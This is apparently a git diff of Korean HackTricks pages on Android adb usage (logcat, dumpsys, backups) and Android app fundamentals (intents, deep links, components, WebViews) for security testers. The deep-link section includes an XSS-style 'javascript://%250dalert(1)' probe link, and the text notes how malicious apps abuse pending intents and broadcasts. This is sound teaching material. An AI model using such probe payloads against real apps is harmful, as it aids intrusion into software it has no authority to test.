* \-n \<count>: 롤링되는 로그 파일의 최대 개수를 지정합니다.
|
||||
* \-v \<format>: 출력 형식을 지정합니다. (brief, process, tag, thread, raw, time, threadtime, long)
|
||||
* \-s \<filter>: 지정된 필터로 로그를 제한합니다.
|
||||
* \-e \<regex>: 지정된 정규식과 일치하는 로그만 출력합니다.
|
||||
* \-i: 로그를 무시합니다.
|
||||
* \-c: 현재 로그를 지웁니다.
|
||||
* \-t \<count>: 최근 로그 항목의 개수를 지정합니다.
|
||||
* \-T \<count>: 최근 로그 항목의 시간 범위를 지정합니다.
|
||||
* \-g: 로그 버퍼 크기를 출력합니다.
|
||||
* \-b \<buffer>: 지정된 로그 버퍼를 사용합니다. (main, system, radio, events, crash, default)
|
||||
|
||||
**필터-사양:**
|
||||
|
||||
* \<tag>\[:priority]: 로그 태그와 우선순위를 지정합니다. (V, D, I, W, E, F, S)
|
||||
* \*: 모든 로그를 포함합니다.
|
||||
* \<tag>: 특정 태그의 로그를 포함합니다.
|
||||
* \<tag>^: 특정 태그로 시작하는 로그를 포함합니다.
|
||||
* \<tag>$: 특정 태그로 끝나는 로그를 포함합니다.
|
||||
* \<tag>:\<priority>: 특정 태그와 우선순위의 로그를 포함합니다.
|
||||
|
||||
#### 필터-사양:
|
||||
- \<tag>[:priority]: 로그 태그와 우선순위를 지정합니다. (V, D, I, W, E, F, S)
|
||||
- *: 모든 로그를 포함합니다.
|
||||
- \<tag>: 특정 태그의 로그를 포함합니다.
|
||||
- \<tag>^: 특정 태그로 시작하는 로그를 포함합니다.
|
||||
- \<tag>$: 특정 태그로 끝나는 로그를 포함합니다.
|
||||
- \<tag>:\<priority>: 특정 태그와 우선순위의 로그를 포함합니다.
|
||||
```bash
|
||||
adb logcat
|
||||
```
|
||||
|
||||
노트: 모니터링을 중지하려면 Ctrl-C를 누르세요.
|
||||
|
||||
```bash
|
||||
adb logcat *:V # lowest priority, filter to only show Verbose level
|
||||
|
||||
|
@ -323,16 +379,18 @@ adb logcat *:F # filter to only show Fatal level
|
|||
|
||||
adb logcat *:S # Silent, highest priority, on which nothing is ever printed
|
||||
```
|
||||
### adb logcat -b \<버퍼>
|
||||
|
||||
#### adb logcat -b <버퍼>
|
||||
|
||||
`adb logcat -b <buffer>` 명령은 Android 디바이스의 로그 버퍼에서 로그를 읽는 데 사용됩니다. 로그 버퍼는 시스템, 이벤트, 메인 및 라디오 버퍼로 구성됩니다. `<buffer>`는 읽을 로그 버퍼를 지정하는 데 사용되며, 다음과 같은 값 중 하나를 가질 수 있습니다:
|
||||
|
||||
- `main`: 기본 로그 버퍼로, 앱 및 시스템 로그를 포함합니다.
|
||||
- `system`: 시스템 로그 버퍼로, Android 시스템 로그를 포함합니다.
|
||||
- `radio`: 라디오 로그 버퍼로, 라디오 인터페이스와 관련된 로그를 포함합니다.
|
||||
- `events`: 이벤트 로그 버퍼로, 이벤트 로그를 포함합니다.
|
||||
* `main`: 기본 로그 버퍼로, 앱 및 시스템 로그를 포함합니다.
|
||||
* `system`: 시스템 로그 버퍼로, Android 시스템 로그를 포함합니다.
|
||||
* `radio`: 라디오 로그 버퍼로, 라디오 인터페이스와 관련된 로그를 포함합니다.
|
||||
* `events`: 이벤트 로그 버퍼로, 이벤트 로그를 포함합니다.
|
||||
|
||||
예를 들어, `adb logcat -b main` 명령은 기본 로그 버퍼에서 로그를 읽습니다.
|
||||
|
||||
```bash
|
||||
adb logcat -b # radio View the buffer that contains radio/telephony related messages.
|
||||
|
||||
|
@ -350,11 +408,13 @@ adb logcat -g # Prints the size of the specified log buffer and exits.
|
|||
|
||||
adb logcat -n <count> # Sets the maximum number of rotated logs to <count>.
|
||||
```
|
||||
## dumpsys
|
||||
|
||||
### dumpsys
|
||||
|
||||
시스템 데이터를 덤프합니다.
|
||||
|
||||
### adb shell dumpsys \[옵션]
|
||||
#### adb shell dumpsys \[옵션]
|
||||
|
||||
```bash
|
||||
adb shell dumpsys
|
||||
|
||||
|
@ -362,19 +422,25 @@ adb shell dumpsys meminfo
|
|||
|
||||
adb shell dumpsys battery
|
||||
```
|
||||
|
||||
노트: Android 5.0 이상을 실행하는 개발자 옵션이 활성화된 모바일 장치.
|
||||
|
||||
```bash
|
||||
adb shell dumpsys batterystats collects battery data from your device
|
||||
```
|
||||
|
||||
노트: [Battery Historian](https://github.com/google/battery-historian)는 해당 데이터를 HTML 시각화로 변환합니다. **단계 1** _adb shell dumpsys batterystats > batterystats.txt_ **단계 2** _python historian.py batterystats.txt > batterystats.html_
|
||||
|
||||
```bash
|
||||
adb shell dumpsys batterystats --reset erases old collection data
|
||||
```
|
||||
|
||||
adb shell dumpsys activity
|
||||
|
||||
# 백업
|
||||
## 백업
|
||||
|
||||
adb를 통해 안드로이드 기기를 백업합니다.
|
||||
|
||||
```bash
|
||||
adb backup [-apk] [-shared] [-system] [-all] -f file.backup
|
||||
# -apk -- Include APK from Third partie's applications
|
||||
|
@ -386,10 +452,13 @@ adb shell pm list packages -f -3 #List packages
|
|||
adb backup -f myapp_backup.ab -apk com.myapp # backup on one device
|
||||
adb restore myapp_backup.ab # restore to the same or any other device
|
||||
```
|
||||
|
||||
만약 백업의 내용을 검사하려면:
|
||||
|
||||
```bash
|
||||
( printf "\x1f\x8b\x08\x00\x00\x00\x00\x00" ; tail -c +25 myapp_backup.ab ) | tar xfvz -
|
||||
```
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
|
@ -399,7 +468,7 @@ HackTricks를 지원하는 다른 방법:
|
|||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
|
||||
* **Hacking 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,4 +1,4 @@
|
|||
# 안드로이드 애플리케이션 기본 사항
|
||||
# Android Applications Basics
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -9,14 +9,14 @@ HackTricks를 지원하는 다른 방법:
|
|||
* **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 얻으세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**를 팔로우**하세요.
|
||||
* **💬** [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* **해킹 요령을 공유하려면 PR을** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 제출하세요.
|
||||
|
||||
</details>
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="https://github.com/carlospolop/hacktricks/blob/kr/mobile-pentesting/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
@ -89,28 +89,29 @@ su 이진 파일이 구성된 후 다른 Android 앱이 `su` 이진 파일과 **
|
|||
|
||||
장치가 루팅되면 모든 앱이 루트 액세스를 요청할 수 있습니다. 악성 애플리케이션이 액세스를 요청하면 거의 모든 것에 액세스할 수 있으며 전화를 손상시킬 수 있습니다.
|
||||
|
||||
## 안드로이드 애플리케이션 기초 사항 <a href="#2-android-application-fundamentals" id="2-android-application-fundamentals"></a>
|
||||
## 안드로이드 애플리케이션 기초 사항 <a href="#id-2-android-application-fundamentals" id="id-2-android-application-fundamentals"></a>
|
||||
|
||||
* 안드로이드 애플리케이션의 형식은 \_APK 파일 형식\_으로 참조됩니다. 이는 기본적으로 **ZIP 파일**입니다(파일 확장자를 .zip로 변경하면 내용을 추출하고 볼 수 있음).
|
||||
* APK 내용(완전하지 않음)
|
||||
* **AndroidManifest.xml**
|
||||
* resources.arsc/strings.xml
|
||||
* resources.arsc: 바이너리 XML과 같은 사전 컴파일된 리소스를 포함합니다.
|
||||
* res/xml/files\_paths.xml
|
||||
* META-INF/
|
||||
* 여기에 인증서가 위치합니다!
|
||||
* **classes.dex**
|
||||
* 기본적으로 애플리케이션이 실행하는 컴파일된 Java(또는 Kotlin) 코드를 나타내는 Dalvik 바이트 코드를 포함합니다.
|
||||
* lib/
|
||||
* CPU 아키텍처별로 하위 디렉터리에 분리된 네이티브 라이브러리를 보관합니다.
|
||||
* `armeabi`: ARM 기반 프로세서용 코드
|
||||
* `armeabi-v7a`: ARMv7 및 그 이상 기반 프로세서용 코드
|
||||
* `x86`: X86 프로세서용 코드
|
||||
* `mips`: MIPS 프로세서 전용 코드
|
||||
* assets/
|
||||
* 앱에서 필요한 기타 파일을 저장하며 때로는 악성 소프트웨어 작성자가 추가 코드를 숨기기 위해 추가 네이티브 라이브러리 또는 DEX 파일을 포함할 수 있습니다.
|
||||
* res/
|
||||
* resouces.arsc에 컴파일되지 않은 리소스를 포함합니다.
|
||||
|
||||
- 안드로이드 애플리케이션의 형식은 _APK 파일 형식_으로 참조됩니다. 이는 기본적으로 **ZIP 파일**입니다(파일 확장자를 .zip로 변경하면 내용을 추출하고 볼 수 있음).
|
||||
- APK 내용(완전하지 않음)
|
||||
- **AndroidManifest.xml**
|
||||
- resources.arsc/strings.xml
|
||||
- resources.arsc: 바이너리 XML과 같은 사전 컴파일된 리소스를 포함합니다.
|
||||
- res/xml/files\_paths.xml
|
||||
- META-INF/
|
||||
- 여기에 인증서가 위치합니다!
|
||||
- **classes.dex**
|
||||
- 기본적으로 애플리케이션이 실행하는 컴파일된 Java(또는 Kotlin) 코드를 나타내는 Dalvik 바이트 코드를 포함합니다.
|
||||
- lib/
|
||||
- CPU 아키텍처별로 하위 디렉터리에 분리된 네이티브 라이브러리를 보관합니다.
|
||||
- `armeabi`: ARM 기반 프로세서용 코드
|
||||
- `armeabi-v7a`: ARMv7 및 그 이상 기반 프로세서용 코드
|
||||
- `x86`: X86 프로세서용 코드
|
||||
- `mips`: MIPS 프로세서 전용 코드
|
||||
- assets/
|
||||
- 앱에서 필요한 기타 파일을 저장하며 때로는 악성 소프트웨어 작성자가 추가 코드를 숨기기 위해 추가 네이티브 라이브러리 또는 DEX 파일을 포함할 수 있습니다.
|
||||
- res/
|
||||
- resouces.arsc에 컴파일되지 않은 리소스를 포함합니다.
|
||||
### **Dalvik & Smali**
|
||||
|
||||
안드로이드 개발에서는 **Java 또는 Kotlin**이 앱을 만드는 데 사용됩니다. 데스크톱 앱과 달리 Android는 이 코드를 **Dalvik Executable (DEX) bytecode**로 컴파일합니다. 이전에는 Dalvik 가상 머신이 이 bytecode를 처리했지만 최신 Android 버전에서는 Android Runtime (ART)가 이를 처리합니다.
|
||||
|
@ -138,23 +139,28 @@ Intents는 Android 앱이 구성 요소 간이나 다른 앱과 통신하는 주
|
|||
|
||||
Intent Filters는 카테고리, 작업 및 데이터 필터로 구성되어 있으며 추가 메타데이터를 포함할 수 있습니다. 이러한 설정을 통해 선언된 기준과 일치하는 특정 Intents를 처리할 수 있습니다.
|
||||
|
||||
Android 구성 요소(활동/서비스/콘텐츠 제공자/브로드캐스트 수신기)의 중요한 측면은 가시성 또는 **공개 상태**입니다. 구성 요소가 **`true`** 값을 가진 **`exported`**로 내보내어지거나 매니페스트에 대한 Intent Filter가 선언된 경우, 해당 구성 요소는 다른 앱과 상호 작용할 수 있습니다. 그러나 개발자는 이러한 구성 요소를 명시적으로 비공개로 유지하여 의도치 않게 다른 앱과 상호 작용하지 않도록 할 수 있습니다. 이는 매니페스트 정의에서 **`exported`** 속성을 **`false`**로 설정하여 달성할 수 있습니다.
|
||||
Android 구성 요소(활동/서비스/콘텐츠 제공자/브로드캐스트 수신기)의 중요한 측면은 가시성 또는 **공개 상태**입니다. 구성 요소가 **`true`** 값을 가진 \*\*`exported`\*\*로 내보내어지거나 매니페스트에 대한 Intent Filter가 선언된 경우, 해당 구성 요소는 다른 앱과 상호 작용할 수 있습니다. 그러나 개발자는 이러한 구성 요소를 명시적으로 비공개로 유지하여 의도치 않게 다른 앱과 상호 작용하지 않도록 할 수 있습니다. 이는 매니페스트 정의에서 **`exported`** 속성을 \*\*`false`\*\*로 설정하여 달성할 수 있습니다.
|
||||
|
||||
또한 개발자는 특정 권한이 필요하도록 구성 요소에 대한 액세스를 더욱 안전하게 할 수 있습니다. **`permission`** 속성을 설정하여 지정된 권한을 가진 앱만 해당 구성 요소에 액세스할 수 있도록 강제할 수 있으며, 이를 통해 누가 상호 작용할 수 있는지에 대한 추가적인 보안 및 제어 수단을 추가할 수 있습니다.
|
||||
|
||||
```java
|
||||
<activity android:name=".MyActivity" android:exported="false">
|
||||
<!-- Intent filters go here -->
|
||||
</activity>
|
||||
```
|
||||
|
||||
### 암시적 인텐트
|
||||
|
||||
인텐트는 Intent 생성자를 사용하여 프로그래밍적으로 생성됩니다:
|
||||
|
||||
```java
|
||||
Intent email = new Intent(Intent.ACTION_SEND, Uri.parse("mailto:"));
|
||||
```
|
||||
|
||||
**Action**으로 이전에 선언된 intent는 **ACTION\_SEND**이고 **Extra**는 mailto **Uri**입니다 (Extra는 intent가 기대하는 추가 정보입니다).
|
||||
|
||||
이 intent는 다음 예제와 같이 manifest 안에 선언되어야 합니다:
|
||||
|
||||
```xml
|
||||
<activity android:name="ShareActivity">
|
||||
<intent-filter>
|
||||
|
@ -163,6 +169,7 @@ Intent email = new Intent(Intent.ACTION_SEND, Uri.parse("mailto:"));
|
|||
</intent-filter>
|
||||
</activity>
|
||||
```
|
||||
|
||||
인텐트 필터는 메시지를 수신하기 위해 **액션**, **데이터** 및 **카테고리**와 일치해야 합니다.
|
||||
|
||||
"인텐트 해결" 프로세스는 각 메시지를 수신해야 하는 앱을 결정합니다. 이 프로세스는 **우선순위 속성**을 고려합니다. 이 속성은 **인텐트 필터 선언**에서 설정할 수 있으며, **더 높은 우선순위를 가진 것이 선택**됩니다. 이 우선순위는 -1000에서 1000 사이로 설정할 수 있으며 애플리케이션은 `SYSTEM_HIGH_PRIORITY` 값을 사용할 수 있습니다. **충돌**이 발생하면 "선택기" 창이 나타나서 **사용자가 결정**할 수 있습니다.
|
||||
|
@ -170,15 +177,19 @@ Intent email = new Intent(Intent.ACTION_SEND, Uri.parse("mailto:"));
|
|||
### 명시적 인텐트
|
||||
|
||||
명시적 인텐트는 대상 클래스 이름을 지정합니다:
|
||||
|
||||
```java
|
||||
Intent downloadIntent = new (this, DownloadService.class):
|
||||
```
|
||||
|
||||
다른 애플리케이션에서 이전에 선언된 intent에 액세스하려면 다음을 사용할 수 있습니다:
|
||||
|
||||
```java
|
||||
Intent intent = new Intent();
|
||||
intent.setClassName("com.other.app", "com.other.app.ServiceName");
|
||||
context.startService(intent);
|
||||
```
|
||||
|
||||
### 보류 중인 인텐트
|
||||
|
||||
이를 통해 다른 애플리케이션이 **귀하의 애플리케이션 대신 작업을 수행**할 수 있습니다. 보류 중인 인텐트를 구성할 때는 **인텐트와 수행할 작업을 지정**해야 합니다. **선언된 인텐트가 명시적이지 않은 경우** (어떤 인텐트가 호출할 수 있는지 선언하지 않은 경우) **악성 애플리케이션이 피해 앱 대신 선언된 작업을 수행**할 수 있습니다. 또한, **작업이 지정되지 않은 경우**, 악성 앱은 **피해자를 대신하여 모든 작업을 수행**할 수 있습니다.
|
||||
|
@ -192,7 +203,7 @@ context.startService(intent);
|
|||
브로드캐스트에는 **두 가지 유형**이 있습니다: **일반** (비동기) 및 **순서가 지정된** (동기). **순서**는 **수신기 내에서 구성된 우선순위에 따라** 결정됩니다. **각 앱은 브로드캐스트를 처리, 중계 또는 삭제**할 수 있습니다.
|
||||
|
||||
`Context` 클래스에서 `sendBroadcast(intent, receiverPermission)` 함수를 사용하여 **브로드캐스트를 보낼 수** 있습니다.\
|
||||
또한 **`LocalBroadCastManager`**에서 **`sendBroadcast`** 함수를 사용하여 **메시지가 앱을 벗어나지 않도록** 할 수 있습니다. 이를 사용하면 수신기 구성요소를 내보낼 필요가 없습니다.
|
||||
또한 \*\*`LocalBroadCastManager`\*\*에서 **`sendBroadcast`** 함수를 사용하여 **메시지가 앱을 벗어나지 않도록** 할 수 있습니다. 이를 사용하면 수신기 구성요소를 내보낼 필요가 없습니다.
|
||||
|
||||
### 스티키 브로드캐스트
|
||||
|
||||
|
@ -200,13 +211,14 @@ context.startService(intent);
|
|||
이러한 것들은 API 레벨 21에서 사용 중단되었으며 **사용하지 않는 것이 권장**됩니다.\
|
||||
**어떤 애플리케이션이 데이터를 엿볼 수 있지만 수정할 수도 있습니다.**
|
||||
|
||||
**`sendStickyBroadcast`** 또는 **`sendStickyBroadcastAsUser`**와 같이 "sticky"를 포함하는 함수를 찾으면 **영향을 확인하고 제거하려고 시도**해야 합니다.
|
||||
**`sendStickyBroadcast`** 또는 \*\*`sendStickyBroadcastAsUser`\*\*와 같이 "sticky"를 포함하는 함수를 찾으면 **영향을 확인하고 제거하려고 시도**해야 합니다.
|
||||
|
||||
## 딥 링크 / URL 스키마
|
||||
|
||||
Android 애플리케이션에서 **딥 링크**는 URL을 통해 직접 작업 (인텐트)을 시작하는 데 사용됩니다. 이는 활동 내에서 특정 **URL 스키마**를 선언함으로써 수행됩니다. Android 기기가 **이 스키마를 사용하여 URL에 액세스하려고 시도할 때**, 애플리케이션 내의 지정된 활동이 시작됩니다.
|
||||
|
||||
스키마는 **`AndroidManifest.xml`** 파일에 선언되어야 합니다:
|
||||
|
||||
```xml
|
||||
[...]
|
||||
<activity android:name=".MyActivity">
|
||||
|
@ -218,34 +230,37 @@ Android 애플리케이션에서 **딥 링크**는 URL을 통해 직접 작업 (
|
|||
</intent-filter>
|
||||
[...]
|
||||
```
|
||||
이전 예제의 scheme은 `exampleapp://`입니다 (또한 **`category BROWSABLE`**도 참고하세요)
|
||||
|
||||
이전 예제의 scheme은 `exampleapp://`입니다 (또한 \*\*`category BROWSABLE`\*\*도 참고하세요)
|
||||
|
||||
그런 다음, 데이터 필드에서 **host**와 **path**를 지정할 수 있습니다:
|
||||
|
||||
```xml
|
||||
<data android:scheme="examplescheme"
|
||||
android:host="example"
|
||||
/>
|
||||
```
|
||||
|
||||
웹에서 액세스하려면 다음과 같이 링크를 설정할 수 있습니다:
|
||||
|
||||
```xml
|
||||
<a href="examplescheme://example/something">click here</a>
|
||||
<a href="examplescheme://example/javascript://%250dalert(1)">click here</a>
|
||||
```
|
||||
|
||||
**앱에서 실행될 코드를 찾으려면** deeplink에 의해 호출된 activity로 이동하여 **`onNewIntent`** 함수를 검색하십시오.
|
||||
|
||||
[HTML 페이지를 사용하지 않고 deep link를 호출하는 방법](./#exploiting-schemes-deep-links)을 배우세요.
|
||||
|
||||
## AIDL - Android Interface Definition Language
|
||||
|
||||
**Android Interface Definition Language (AIDL)**은 Android 애플리케이션에서 **프로세스 간 통신** (IPC)을 통해 클라이언트와 서비스 간 통신을 용이하게 하는 데 사용됩니다. Android에서 다른 프로세스의 메모리에 직접 액세스하는 것은 허용되지 않기 때문에 AIDL은 객체를 운영 체제가 이해하는 형식으로 marshalling하여 서로 다른 프로세스 간의 통신을 용이하게 합니다.
|
||||
\*\*Android Interface Definition Language (AIDL)\*\*은 Android 애플리케이션에서 **프로세스 간 통신** (IPC)을 통해 클라이언트와 서비스 간 통신을 용이하게 하는 데 사용됩니다. Android에서 다른 프로세스의 메모리에 직접 액세스하는 것은 허용되지 않기 때문에 AIDL은 객체를 운영 체제가 이해하는 형식으로 marshalling하여 서로 다른 프로세스 간의 통신을 용이하게 합니다.
|
||||
|
||||
### 주요 개념
|
||||
|
||||
- **Bound Services**: 이러한 서비스는 IPC를 위해 AIDL을 활용하여 활동이나 구성 요소가 서비스에 바인딩되어 요청을 수행하고 응답을 받을 수 있게 합니다. 서비스 클래스의 `onBind` 메서드는 상호 작용을 시작하는 데 중요하며 취약점을 찾기 위한 보안 검토의 중요한 영역으로 표시됩니다.
|
||||
|
||||
- **Messenger**: 바운드 서비스로 작동하는 Messenger는 `onBind` 메서드를 통해 데이터 처리에 중점을 둔 IPC를 용이하게 합니다. 이 메서드를 안전하지 않은 데이터 처리나 민감한 기능 실행을 위해 면밀히 검토하는 것이 중요합니다.
|
||||
|
||||
- **Binder**: AIDL의 추상화로 인해 Binder 클래스의 직접적인 사용은 덜 흔하지만, Binder가 서로 다른 프로세스의 메모리 공간 간 데이터 전송을 용이하게 하는 커널 수준 드라이버로 작동한다는 점을 이해하는 것이 유익합니다. 자세한 내용은 [https://www.youtube.com/watch?v=O-UHvFjxwZ8](https://www.youtube.com/watch?v=O-UHvFjxwZ8)에서 확인할 수 있습니다.
|
||||
* **Bound Services**: 이러한 서비스는 IPC를 위해 AIDL을 활용하여 활동이나 구성 요소가 서비스에 바인딩되어 요청을 수행하고 응답을 받을 수 있게 합니다. 서비스 클래스의 `onBind` 메서드는 상호 작용을 시작하는 데 중요하며 취약점을 찾기 위한 보안 검토의 중요한 영역으로 표시됩니다.
|
||||
* **Messenger**: 바운드 서비스로 작동하는 Messenger는 `onBind` 메서드를 통해 데이터 처리에 중점을 둔 IPC를 용이하게 합니다. 이 메서드를 안전하지 않은 데이터 처리나 민감한 기능 실행을 위해 면밀히 검토하는 것이 중요합니다.
|
||||
* **Binder**: AIDL의 추상화로 인해 Binder 클래스의 직접적인 사용은 덜 흔하지만, Binder가 서로 다른 프로세스의 메모리 공간 간 데이터 전송을 용이하게 하는 커널 수준 드라이버로 작동한다는 점을 이해하는 것이 유익합니다. 자세한 내용은 [https://www.youtube.com/watch?v=O-UHvFjxwZ8](https://www.youtube.com/watch?v=O-UHvFjxwZ8)에서 확인할 수 있습니다.
|
||||
|
||||
## 구성 요소
|
||||
|
||||
|
@ -256,6 +271,7 @@ android:host="example"
|
|||
Android 앱에서 **activities**는 화면처럼 작동하여 앱의 사용자 인터페이스의 다른 부분을 표시합니다. 앱에는 여러 개의 activities가 있을 수 있으며 각각은 사용자에게 고유한 화면을 제공합니다.
|
||||
|
||||
**런처 액티비티**는 앱으로의 주요 게이트웨이로, 앱 아이콘을 탭할 때 시작됩니다. 앱의 매니페스트 파일에 특정 MAIN 및 LAUNCHER 인텐트로 정의됩니다:
|
||||
|
||||
```markup
|
||||
<activity android:name=".LauncherActivity">
|
||||
<intent-filter>
|
||||
|
@ -264,12 +280,15 @@ Android 앱에서 **activities**는 화면처럼 작동하여 앱의 사용자
|
|||
</intent-filter>
|
||||
</activity>
|
||||
```
|
||||
|
||||
앱 중에는 백그라운드 서비스와 같이 사용자 인터페이스가 없는 앱들도 런처 액티비티가 필요하지 않을 수 있습니다.
|
||||
|
||||
액티비티는 매니페스트에서 "exported"로 표시하여 다른 앱이나 프로세스에서 사용할 수 있도록 만들 수 있습니다. 이 설정은 다른 앱이 이 액티비티를 시작할 수 있게 합니다:
|
||||
|
||||
```markdown
|
||||
<service android:name=".ExampleExportedService" android:exported="true"/>
|
||||
```
|
||||
|
||||
그러나 다른 앱에서 활동에 액세스하는 것이 항상 보안 위험은 아닙니다. 민감한 데이터가 부적절하게 공유되는 경우에는 정보 누출로 이어질 수 있습니다.
|
||||
|
||||
활동의 수명주기는 **onCreate 메서드로 시작**되며 UI를 설정하고 사용자와 상호 작용할 수 있도록 활동을 준비합니다.
|
||||
|
@ -277,6 +296,7 @@ Android 앱에서 **activities**는 화면처럼 작동하여 앱의 사용자
|
|||
### 애플리케이션 서브클래스
|
||||
|
||||
Android 개발에서 앱은 [Application](https://developer.android.com/reference/android/app/Application) 클래스의 **서브클래스**를 만들 수 있지만 필수는 아닙니다. 이러한 서브클래스가 정의된 경우 해당 클래스는 앱 내에서 가장 먼저 인스턴스화됩니다. 이 서브클래스에 구현된 **`attachBaseContext`** 메서드는 **`onCreate`** 메서드보다 먼저 실행됩니다. 이 설정을 통해 애플리케이션이 시작되기 전에 초기화를 빠르게 수행할 수 있습니다.
|
||||
|
||||
```java
|
||||
public class MyApp extends Application {
|
||||
@Override
|
||||
|
@ -292,6 +312,7 @@ super.onCreate();
|
|||
}
|
||||
}
|
||||
```
|
||||
|
||||
### 서비스
|
||||
|
||||
[서비스](https://developer.android.com/guide/components/services)는 사용자 인터페이스 없이 작업을 실행할 수 있는 **백그라운드 작업자**입니다. 이러한 작업은 사용자가 다른 애플리케이션으로 전환해도 계속 실행될 수 있어서 **장기 실행 작업**에 중요합니다.
|
||||
|
@ -299,9 +320,11 @@ super.onCreate();
|
|||
서비스는 다양한 방법으로 시작될 수 있으며, **인텐트**가 애플리케이션의 진입점으로 사용되어 서비스를 시작하는 주요 방법입니다. `startService` 메서드를 사용하여 서비스를 시작하면 `onStart` 메서드가 실행되어 `stopService` 메서드가 명시적으로 호출될 때까지 계속 실행됩니다. 또한, 서비스의 역할이 활성 클라이언트 연결에 의존하는 경우, 클라이언트를 서비스에 바인딩하기 위해 `bindService` 메서드가 사용되며 데이터 전달을 위해 `onBind` 메서드가 활성화됩니다.
|
||||
|
||||
서비스의 흥미로운 응용 사례로는 사용자가 앱과 상호 작용하는 것을 방해하지 않고 백그라운드에서 음악 재생이나 네트워크 데이터 가져오기가 있습니다. 또한, 서비스는 **내보내기**를 통해 동일한 장치의 다른 프로세스에서 접근할 수 있습니다. 이는 기본 동작이 아니며 Android Manifest 파일에서 명시적으로 구성해야 합니다:
|
||||
|
||||
```xml
|
||||
<service android:name=".ExampleExportedService" android:exported="true"/>
|
||||
```
|
||||
|
||||
### 브로드캐스트 수신기
|
||||
|
||||
**브로드캐스트 수신기**는 메시징 시스템에서 청취자 역할을 하며, 여러 애플리케이션이 시스템에서의 동일한 메시지에 응답할 수 있게 합니다. 앱은 **두 가지 주요 방법**으로 **수신기를 등록**할 수 있습니다: 앱의 **Manifest**를 통해 또는 앱의 코드 내에서 **`registerReceiver`** API를 통해 **동적으로** 등록할 수 있습니다. Manifest에서는 브로드캐스트가 권한으로 필터링되며, 동적으로 등록된 수신기는 등록 시 권한을 지정할 수도 있습니다.
|
||||
|
@ -310,7 +333,8 @@ super.onCreate();
|
|||
|
||||
브로드캐스트는 **비동기적**일 수도 있고 순서 없이 모든 수신기에 도달할 수도 있으며, **동기적**일 수도 있어 수신기가 우선순위에 따라 브로드캐스트를 받을 수 있습니다. 그러나 잠재적인 보안 위험을 인지해야 합니다. 모든 앱이 자신을 우선시하여 브로드캐스트를 가로챌 수 있습니다.
|
||||
|
||||
수신기의 기능을 이해하려면 해당 클래스 내의 **`onReceive`** 메서드를 찾아보세요. 이 메서드의 코드는 수신된 인텐트를 조작할 수 있으며, 특히 **순서가 지정된 브로드
|
||||
수신기의 기능을 이해하려면 해당 클래스 내의 **`onReceive`** 메서드를 찾아보세요. 이 메서드의 코드는 수신된 인텐트를 조작할 수 있으며, 특히 \*\*순서가 지정된 브로드
|
||||
|
||||
```xml
|
||||
<provider android:name="androidx.core.content.FileProvider"
|
||||
android:authorities="com.example.myapp.fileprovider"
|
||||
|
@ -320,14 +344,17 @@ android:exported="false">
|
|||
android:resource="@xml/filepaths" />
|
||||
</provider>
|
||||
```
|
||||
|
||||
그리고 `filepaths.xml`에서 공유 폴더를 지정하는 예시:
|
||||
|
||||
```xml
|
||||
<paths>
|
||||
<files-path path="images/" name="myimages" />
|
||||
</paths>
|
||||
```
|
||||
- [Android Developers: Content Providers](https://developer.android.com/guide/topics/providers/content-providers)
|
||||
- [Android Developers: FileProvider](https://developer.android.com/training/secure-file-sharing/setup-sharing)
|
||||
|
||||
* [Android Developers: Content Providers](https://developer.android.com/guide/topics/providers/content-providers)
|
||||
* [Android Developers: FileProvider](https://developer.android.com/training/secure-file-sharing/setup-sharing)
|
||||
|
||||
## WebViews
|
||||
|
||||
|
@ -335,33 +362,35 @@ WebViews are like **mini web browsers** inside Android apps, pulling content eit
|
|||
|
||||
Android offers two main WebView types:
|
||||
|
||||
- **WebViewClient** is great for basic HTML but doesn't support the JavaScript alert function, affecting how XSS attacks can be tested.
|
||||
- **WebChromeClient** acts more like the full Chrome browser experience.
|
||||
